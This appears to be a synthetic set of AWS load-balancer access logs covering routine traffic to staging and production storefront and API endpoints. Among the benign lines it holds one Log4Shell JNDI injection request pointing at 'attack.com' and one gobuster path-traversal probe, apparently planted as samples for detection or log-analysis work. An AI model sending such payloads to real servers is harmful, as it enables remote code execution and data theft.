+http 2024-11-01T00:55:38.474178Z staging-alb 229.148.203.51:21009 18.142.245.98:8080 0.134205 0.242558 0.014153 404 404 720 13692 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c49a-14e45dc60d2040cab27e0c4c" "staging-alb.example.com" "-" 2 2024-11-01T00:55:38.474178Z "forward" "-" "-" "18.142.245.98:8080" "404" "-" "-" +http 2024-11-01T00:55:39.602735Z staging-alb 240.97.220.106:53556 158.126.235.131:8080 0.073325 0.418330 0.111124 200 200 340 6256 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c49b-a8b5e0b0f7e84c58bb21043f" "staging-alb.example.com" "-" 9 2024-11-01T00:55:39.602735Z "forward" "-" "-" "158.126.235.131:8080" "200" "-" "-" +https 2024-11-01T00:55:41.060360Z prod-api-alb 79.198.220.204:14031 10.0.13.209:443 0.008468 0.254658 0.003540 200 200 246 9079 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c49d-8892c9d14c694d6ca1557292" "prod-api-alb.example.com" "-" 10 2024-11-01T00:55:41.060360Z "forward" "-" "-" "10.0.13.209:443" "200" "-" "-" +https 2024-11-01T00:55:42.153949Z prod-web-alb 251.84.167.19:30213 10.0.150.73:443 0.057236 0.317540 0.037184 200 200 60 7236 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c49e-58791a149fc94b5798cc4d90" "prod-web-alb.example.com" "-" 7 2024-11-01T00:55:42.153949Z "forward" "-" "-" "10.0.150.73:443" "200" "-" "-" +https 2024-11-01T00:55:43.125268Z prod-api-alb 193.222.17.172:18258 10.0.220.178:443 0.024575 0.341411 0.052273 200 200 964 1741 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c49f-a5c6e58336df4dfd929bbd43" "prod-api-alb.example.com" "-" 3 2024-11-01T00:55:43.125268Z "forward" "-" "-" "10.0.220.178:443" "200" "-" "-" +https 2024-11-01T00:55:44.493075Z staging-alb 188.246.224.233:10693 78.168.151.149:443 0.117281 0.665361 0.039867 301 301 362 9794 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4a0-51b9cf214a544aa28e6d83b0" "staging-alb.example.com" "-" 1 2024-11-01T00:55:44.493075Z "forward" "-" "-" "78.168.151.149:443" "301" "-" "-" +https 2024-11-01T00:55:46.105983Z prod-api-alb 147.142.78.231:31329 10.0.33.214:443 0.059226 0.130984 0.045446 302 302 430 5443 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4a2-28da789e4c9f4cf5bfcb3c49" "-" "-" 3 2024-11-01T00:55:46.105983Z "forward" "-" "-" "10.0.33.214:443" "302" "-" "-" +https 2024-11-01T00:55:47.310061Z prod-api-alb 24.140.171.45:50969 10.0.230.58:443 0.016185 0.379017 0.053336 200 200 582 6981 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4a3-28bcc6f2b4054988b2ce895e" "prod-api-alb.example.com" "-" 8 2024-11-01T00:55:47.310061Z "forward" "-" "-" "10.0.230.58:443" "200" "-" "-" +https 2024-11-01T00:55:48.768152Z prod-api-alb 124.10.33.136:36943 10.0.71.166:443 0.067856 0.221414 0.076251 200 200 551 969 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4a4-1930da7431a3491d9464452c" "prod-api-alb.example.com" "-" 0 2024-11-01T00:55:48.768152Z "forward" "-" "-" "10.0.71.166:443" "200" "-" "-" +https 2024-11-01T00:55:50.528093Z staging-alb 125.226.181.208:37185 99.146.76.213:8080 0.124193 0.722473 0.063451 200 200 450 9470 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4a6-2e3196eb135f40069ee46a68" "staging-alb.example.com" "-" 8 2024-11-01T00:55:50.528093Z "forward" "-" "-" "99.146.76.213:8080" "200" "-" "-" +https 2024-11-01T00:55:51.577038Z prod-web-alb 246.221.170.115:27097 10.0.3.85:443 0.075834 0.365255 0.053252 301 301 750 14491 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4a7-be2caf8ca2a145298bad98c0" "prod-web-alb.example.com" "-" 10 2024-11-01T00:55:51.577038Z "forward" "-" "-" "10.0.3.85:443" "301" "-" "-" +https 2024-11-01T00:55:52.921338Z staging-alb 100.169.141.250:23430 71.241.127.48:80 0.005954 0.418693 0.079955 200 200 611 13478 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4a8-553f413c86e34decad6cbeff" "staging-alb.example.com" "-" 6 2024-11-01T00:55:52.921338Z "forward" "-" "-" "71.241.127.48:80" "200" "-" "-" +https 2024-11-01T00:55:54.714085Z staging-alb 191.178.171.213:36221 192.41.126.241:80 0.079118 0.287097 0.056850 200 200 594 14190 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4aa-87e5fdbf077c434fbfed145c" "staging-alb.example.com" "-" 0 2024-11-01T00:55:54.714085Z "forward" "-" "-" "192.41.126.241:80" "200" "-" "-" +https 2024-11-01T00:55:55.232622Z prod-api-alb 211.149.146.219:16618 10.0.18.244:443 0.031107 0.160218 0.002538 404 404 468 12479 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4ab-1cc8e6d8d76745ba918af6a6" "prod-api-alb.example.com" "-" 8 2024-11-01T00:55:55.232622Z "forward" "-" "-" "10.0.18.244:443" "404" "-" "-" +http 2024-11-01T00:55:57.063739Z staging-alb 230.188.56.117:54668 143.81.183.87:8080 0.022059 0.213309 0.122498 302 302 357 12752 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4ad-a86d2a84882a451fab92ef0e" "staging-alb.example.com" "-" 1 2024-11-01T00:55:57.063739Z "forward" "-" "-" "143.81.183.87:8080" "302" "-" "-" +https 2024-11-01T00:55:57.580421Z prod-api-alb 24.117.72.244:61654 10.0.213.12:443 0.003093 0.474120 0.089174 302 302 546 4224 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4ad-cedc7e1469a14115bce13f91" "prod-api-alb.example.com" "-" 1 2024-11-01T00:55:57.580421Z "forward" "-" "-" "10.0.213.12:443" "302" "-" "-" +https 2024-11-01T00:55:58.440082Z prod-web-alb 224.74.191.113:44919 10.0.10.198:443 0.062960 0.326823 0.080985 200 200 819 4909 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4ae-f4f074f58f7046ec801244c7" "prod-web-alb.example.com" "-" 6 2024-11-01T00:55:58.440082Z "forward" "-" "-" "10.0.10.198:443" "200" "-" "-" +https 2024-11-01T00:55:58.659699Z prod-web-alb 59.91.85.196:51008 10.0.91.220:443 0.049675 0.333822 0.003712 302 302 740 11645 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4ae-d3b959e667cc4dc89e656474" "prod-web-alb.example.com" "-" 1 2024-11-01T00:55:58.659699Z "forward" "-" "-" "10.0.91.220:443" "302" "-" "-" +http 2024-11-01T00:56:00.076618Z staging-alb 148.83.144.238:20145 76.137.122.90:80 0.114747 0.141326 0.076221 200 200 300 4102 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4b0-e943bd8304114717b2a7324e" "staging-alb.example.com" "-" 2 2024-11-01T00:56:00.076618Z "forward" "-" "-" "76.137.122.90:80" "200" "-" "-" +https 2024-11-01T00:56:00.688125Z prod-web-alb 40.162.66.109:57781 10.0.59.149:443 0.069176 0.493460 0.065235 301 301 626 3206 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4b0-888e2788f458430f97080845" "prod-web-alb.example.com" "-" 3 2024-11-01T00:56:00.688125Z "forward" "-" "-" "10.0.59.149:443" "301" "-" "-" +https 2024-11-01T00:56:01.788089Z prod-web-alb 82.80.114.188:53387 10.0.126.34:443 0.090808 0.405909 0.042614 200 200 528 9701 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4b1-88314669ca4741e29db44265" "prod-web-alb.example.com" "-" 4 2024-11-01T00:56:01.788089Z "forward" "-" "-" "10.0.126.34:443" "200" "-" "-" +https 2024-11-01T00:56:03.083252Z prod-api-alb 31.194.35.184:56904 10.0.77.236:443 0.033446 0.223259 0.049860 404 404 665 11368 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4b3-9da3fed95c2a4e6b81cc9656" "prod-api-alb.example.com" "-" 1 2024-11-01T00:56:03.083252Z "forward" "-" "-" "10.0.77.236:443" "404" "-" "-" +https 2024-11-01T00:56:03.455769Z prod-web-alb 121.23.249.170:59762 10.0.129.154:443 0.074390 0.380576 0.017285 200 200 999 7800 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4b3-245de6be7768498ca9a6a4a3" "prod-web-alb.example.com" "-" 0 2024-11-01T00:56:03.455769Z "forward" "-" "-" "10.0.129.154:443" "200" "-" "-" +http 2024-11-01T00:56:05.239084Z staging-alb 107.71.160.67:53483 5.133.17.235:80 0.059578 0.534074 0.007688 404 404 416 14281 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4b5-9c0784264f0c45d0a3904573" "staging-alb.example.com" "-" 3 2024-11-01T00:56:05.239084Z "forward" "-" "-" "5.133.17.235:80" "404" "-" "-" +https 2024-11-01T00:56:06.537233Z staging-alb 193.27.228.121:34994 11.201.228.186:80 0.130035 0.612600 0.019869 404 404 16 12432 "POST /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4b6-87c06c4d04ca4253be4cb36c" "-" "-" 6 2024-11-01T00:56:06.537233Z "forward" "-" "-" "11.201.228.186:80" "404" "-" "-" +https 2024-11-01T00:56:08.204075Z staging-alb 134.21.5.176:13709 122.181.101.27:80 0.101008 0.392613 0.013798 302 302 616 9919 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4b8-f334c4d9881b4296a0667e5f" "staging-alb.example.com" "-" 0 2024-11-01T00:56:08.204075Z "forward" "-" "-" "122.181.101.27:80" "302" "-" "-" +http 2024-11-01T00:56:08.340808Z staging-alb 44.49.217.37:40248 44.31.177.207:80 0.142914 0.117003 0.144112 200 200 59 8501 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4b8-fed567589f7c4c2b989310c3" "staging-alb.example.com" "-" 3 2024-11-01T00:56:08.340808Z "forward" "-" "-" "44.31.177.207:80" "200" "-" "-" +https 2024-11-01T00:56:09.760911Z staging-alb 66.213.126.36:45741 209.244.189.120:80 0.144995 0.488035 0.066878 200 200 503 11975 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4b9-7fd7fa880e604d1aaaca4ab1" "-" "-" 3 2024-11-01T00:56:09.760911Z "forward" "-" "-" "209.244.189.120:80" "200" "-" "-" +http 2024-11-01T00:56:10.262061Z staging-alb 169.31.45.121:14777 89.121.178.55:443 0.101278 0.159538 0.078436 200 200 835 12906 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4ba-9df98f0baf3140698906842a" "staging-alb.example.com" "-" 8 2024-11-01T00:56:10.262061Z "forward" "-" "-" "89.121.178.55:443" "200" "-" "-" +https 2024-11-01T00:56:11.993661Z prod-api-alb 95.166.151.12:40043 10.0.225.211:443 0.071671 0.201548 0.057860 200 200 270 7916 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4bb-8093ccda5a864014a22a3450" "prod-api-alb.example.com" "-" 1 2024-11-01T00:56:11.993661Z "forward" "-" "-" "10.0.225.211:443" "200" "-" "-" +https 2024-11-01T00:56:12.637219Z prod-api-alb 193.187.89.53:55608 10.0.91.35:443 0.050157 0.095024 0.005782 301 301 447 6683 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4bc-2c77fda0460944579c8e4c0d" "prod-api-alb.example.com" "-" 0 2024-11-01T00:56:12.637219Z "forward" "-" "-" "10.0.91.35:443" "301" "-" "-" +https 2024-11-01T00:56:13.198672Z prod-api-alb 230.21.84.52:28586 10.0.44.125:443 0.053517 0.023413 0.077411 404 404 684 10712 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4bd-6db100de148540b4b91afd82" "prod-api-alb.example.com" "-" 6 2024-11-01T00:56:13.198672Z "forward" "-" "-" "10.0.44.125:443" "404" "-" "-" +https 2024-11-01T00:56:14.388027Z prod-web-alb 71.7.55.209:36305 10.0.108.4:443 0.052107 0.373215 0.082172 302 302 42 7406 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4be-ed992ded37284eaba5e0cc2b" "prod-web-alb.example.com" "-" 1 2024-11-01T00:56:14.388027Z "forward" "-" "-" "10.0.108.4:443" "302" "-" "-" +http 2024-11-01T00:56:15.449476Z staging-alb 34.14.162.77:62010 41.121.138.246:8080 0.032751 0.060049 0.078928 200 200 215 10606 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4bf-c68c18654ddb4a1692d97e94" "staging-alb.example.com" "-" 5 2024-11-01T00:56:15.449476Z "forward" "-" "-" "41.121.138.246:8080" "200" "-" "-" +https 2024-11-01T00:56:16.414350Z prod-api-alb 171.252.115.211:26958 10.0.60.135:443 0.067315 0.268787 0.005956 301 301 355 9888 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4c0-fecded6e233542dc98ee31f3" "prod-api-alb.example.com" "-" 10 2024-11-01T00:56:16.414350Z "forward" "-" "-" "10.0.60.135:443" "301" "-" "-" +https 2024-11-01T00:56:18.130913Z prod-web-alb 155.255.91.166:20120 10.0.167.231:443 0.012445 0.320300 0.063896 200 200 925 12494 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4c2-8482f50ae5a44e39b83cf4e8" "prod-web-alb.example.com" "-" 6 2024-11-01T00:56:18.130913Z "forward" "-" "-" "10.0.167.231:443" "200" "-" "-" +https 2024-11-01T00:56:19.015244Z prod-api-alb 45.155.205.141:25734 10.0.124.193:443 0.024082 0.101135 0.064241 403 403 827 12413 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4c3-b9dd9b0bce8a478db7823281" "-" "-" 8 2024-11-01T00:56:19.015244Z "forward" "-" "-" "10.0.124.193:443" "403" "-" "-" +http 2024-11-01T00:56:20.995368Z staging-alb 75.113.70.115:59651 211.197.69.142:80 0.149257 0.371656 0.034892 200 200 930 3943 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4c4-24d5925f9e4d4276a807c539" "staging-alb.example.com" "-" 8 2024-11-01T00:56:20.995368Z "forward" "-" "-" "211.197.69.142:80" "200" "-" "-" +https 2024-11-01T00:56:21.848951Z staging-alb 202.255.165.188:39782 56.124.224.31:8080 0.044808 0.064813 0.101793 404 404 879 5092 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4c5-15ab39c47d3a45a5934c4200" "staging-alb.example.com" "-" 2 2024-11-01T00:56:21.848951Z "forward" "-" "-" "56.124.224.31:8080" "404" "-" "-" +https 2024-11-01T00:56:23.553470Z prod-api-alb 231.196.51.104:58610 10.0.133.44:443 0.044516 0.382014 0.083266 200 200 155 10826 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4c7-67a264f48e7f4bf88cdfd878" "prod-api-alb.example.com" "-" 6 2024-11-01T00:56:23.553470Z "forward" "-" "-" "10.0.133.44:443" "200" "-" "-" +https 2024-11-01T00:56:24.475676Z prod-api-alb 88.129.11.175:28728 10.0.208.130:443 0.079374 0.143799 0.027952 200 200 857 11744 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4c8-9b59d5844df4489d8b1a5f40" "prod-api-alb.example.com" "-" 7 2024-11-01T00:56:24.475676Z "forward" "-" "-" "10.0.208.130:443" "200" "-" "-" +https 2024-11-01T00:56:25.929348Z prod-web-alb 250.155.33.33:16146 10.0.1.54:443 0.003240 0.405511 0.087217 301 301 352 11567 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4c9-632a26726b914696864ca898" "prod-web-alb.example.com" "-" 4 2024-11-01T00:56:25.929348Z "forward" "-" "-" "10.0.1.54:443" "301" "-" "-" +https 2024-11-01T00:56:26.194446Z prod-web-alb 227.23.108.34:45350 10.0.133.173:443 0.091340 0.296778 0.055892 200 200 813 8722 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4ca-824d85bf13fb4ffdb43505a2" "prod-web-alb.example.com" "-" 6 2024-11-01T00:56:26.194446Z "forward" "-" "-" "10.0.133.173:443" "200" "-" "-" +https 2024-11-01T00:56:26.587253Z prod-web-alb 33.182.202.168:61023 10.0.173.125:443 0.002142 0.300063 0.096529 200 200 202 1138 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c4ca-9e3f7a98a6ad48809162acf2" "prod-web-alb.example.com" "-" 9 2024-11-01T00:56:26.587253Z "forward" "-" "-" "10.0.173.125:443" "200" "-" "-" +https 2024-11-01T00:56:26.929001Z staging-alb 28.241.142.47:64015 126.232.200.253:80 0.058228 0.045135 0.008315 302 302 144 11093 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4ca-d6d1e62aec69402296a75732" "staging-alb.example.com" "-" 5 2024-11-01T00:56:26.929001Z "forward" "-" "-" "126.232.200.253:80" "302" "-" "-" +https 2024-11-01T00:56:28.244251Z prod-api-alb 181.184.137.245:42673 10.0.39.72:443 0.008286 0.306538 0.030369 302 302 215 1120 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4cc-f3f3b97f63be4aaf992224a3" "prod-api-alb.example.com" "-" 7 2024-11-01T00:56:28.244251Z "forward" "-" "-" "10.0.39.72:443" "302" "-" "-" +https 2024-11-01T00:56:29.786009Z staging-alb 25.172.200.98:16201 254.209.206.75:80 0.026128 0.133352 0.031191 302 302 18 8629 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c4cd-89683bb48d0c4573b79dfa90" "staging-alb.example.com" "-" 9 2024-11-01T00:56:29.786009Z "forward" "-" "-" "254.209.206.75:80" "302" "-" "-" 